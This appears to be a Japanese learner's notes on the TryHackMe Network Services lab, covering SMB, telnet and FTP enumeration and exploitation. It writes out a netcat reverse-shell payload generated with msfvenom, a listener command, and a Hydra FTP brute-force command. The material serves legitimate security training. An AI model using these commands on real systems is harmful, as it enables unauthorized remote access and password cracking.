【TryHackMe】Network Servicesのメモ

TryHackMeのNetworkServices Roomをやったメモ
Reverse Shellあたりは再復習が必要だけど、他は割と理解できたと思う

Enumeration
一覧にする、情報収集

Port Scanning
Enumerationの第一ステップ、ターゲットのサービス・アプリ・構成・OSを知る
nmapを使う
文法 nmap [option] target-ip
[option]
-sS SYN Scan
-sU UDP Scan
-O OS detection
-sV Detect Service version
-vv Verbose
-oA save the nmap result in three major fomat
-oN save the nmap result in normal format
-oG save the nmap result in grepable format
-A aggressive mode
-T5 timing level 5(scan speed)
-p 80 only scan port 80
-p 1000-1500 scan ports 1000-1500
-p- scan all ports
–script [script name] use script

Enum4Linux
Win,LinuxのSMB共有の情報収集ツール
文法 enum4linux [option] target-ip
[option]
-U get userlist
-M get machine list
-N get namelist dump
-S get sharelist
-P get password policy information
-G get group and membe list
-a all of the above (full basic enumeration)

SMB Exploit
Enumeration stageでNmap、Enum4Linuxを使って、The SMB share locationとThe name of an interesting SMB shareの情報を確認した。

SMB Client
SMB shareにアクセスしてみよう、Clientが必要、SMBClientを使う
文法 smbclient //[IP]/[SHARE]
-u [name] to specify the user
-p [port] to specify the port

Exploiting SMB
SMB server に接続後のコマンドは以下参照
https://www.samba.org/samba/docs/current/man-html/smbclient.1.html
見たいファイルはgetで取得、あるユーザーにsshが許可されていることが判明、ssh鍵をgetし、ssh接続してみる、成功!

Telnet
リモートマシンに接続・コマンド実行を可能にするアプリケーションプロトコル、暗号化などのセキュリティ機能がないため現在はsshを使うのが主流
文法 telnet [IP] [port]

Enumerating Telnet
nmap -A [IP]だと、all 1000 scanned ports are closedとのこと、-p-で再度トライ、時間がかかるなぁ、AttackBoxが落ちた(ふざけんな)、Target MachineとAttackBoxを再起動して、再度トライ。-p 10-9000でやってみると、open portが見つかった。Enumeratingにはいろんな角度から情報を集めることが大事。

Exploiting Telnet
CVE(Common Vulnerabilities and Exposures)は公開された脆弱性情報のリスト
https://www.cvedetails.com/
Enumeration stageでtelnet serviceが稼働中であることを確認、そのserviceはbackdoor、ユーザー名も入手した。
これらの情報とfull reverse shellを使ってmachineに接続してみる。
文法 telnet [ip] [port]
Reverse Shellとは? Attacking machineがlisten portを保持し、Targetからの接続をrecieveする。
Targetにtelnet接続したが、.HELPしてもコマンドが見れない。Reverse Shellが作れない。
一度AttackBoxに戻って、tcpdumpをするといいらしい。
sudo tcpdump ip proto \\icmp -i eth0
でTargetにtelnet接続して、.RUN ping [AttackBox IP] -c 1をすると、お!AttackBox側のtcpdump結果にTargetからicmp echo requestがあったこととreplyした旨、記録あり。
あとはReverse Shellを張るだけ。
AttachBox側でReverse Shell Payloadをgenerateするのね
msfvenom -p cmd/unix/reverse_netcat lhost=[AttackBox IP] lport=4444 Rを実行
これ↓がpayloadらしい
mkfifo /tmp/wmjxeqv; nc [AttackBox IP] [Port] 0</tmp/wmjxeqv | /bin/sh > /tmp/wmjxeqv 2>&1; rm /tmp/wmjxeqv
(これ何やってるか、すぐ説明できるようにならないとな)
で、さらにAttackBox側でnc -lvp 4444でListen
Target側で.RUN [↑のpayload]を実行
AttackBox側にConnection from [Target] received!と表示されました。
cat flag中身見て、完了!

FTP
File Transfer Protocol, client-server model
FTP session operates 2 sessions, a command channel and a data channel
The client initiates a connection with the server, the server opens the session.
While the session os open, the client execute FTP commands on the server.
Active vs Passive, Active connection means the client opens a port and listens, the server is required to actively connect to it. Passive connection means the server opens a port and listens, and the client connects to it. Active means from server to client, passive is from client to server. The separation of command and data is a way of being able to send commands to the server without having to wait for the current data transfer to finish.

Enumerating FTP
匿名FTPログイン、ftp clientがインストールされているかはftpとコマンドすればわかる
まず、nmap -A [Target IP]、21/tcp ftpと80/tcp httpを確認
では、ftpコマンドで接続してみる
文法 ftp [Target OP]
NameをanonymousでNo passwordでLogin successful
dirでどんなファイルがあるか確認して、get で中身を確認
Exploitに使えそうなユーザー名を発見

Exploiting FTP
Enumeration stageでFTP serverがtarget machineで稼働していること、使えそうなユーザー名を入手した。これらを使って、bruteforceパスワード攻撃をする。
Hydraは高速なオンラインパスワードクラッキングツール、文法は以下
文法 hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV [Target IP] ftp
[option]-t 4: 並列接続数、-l [user]: 攻撃対象ユーザー、-P: wordlist path, -vV: sets verbose、ftp: protocol
簡単にパスワードが見つかりました。
このユーザー&パスワードでftp接続し、get flag、完了!


Please share this page: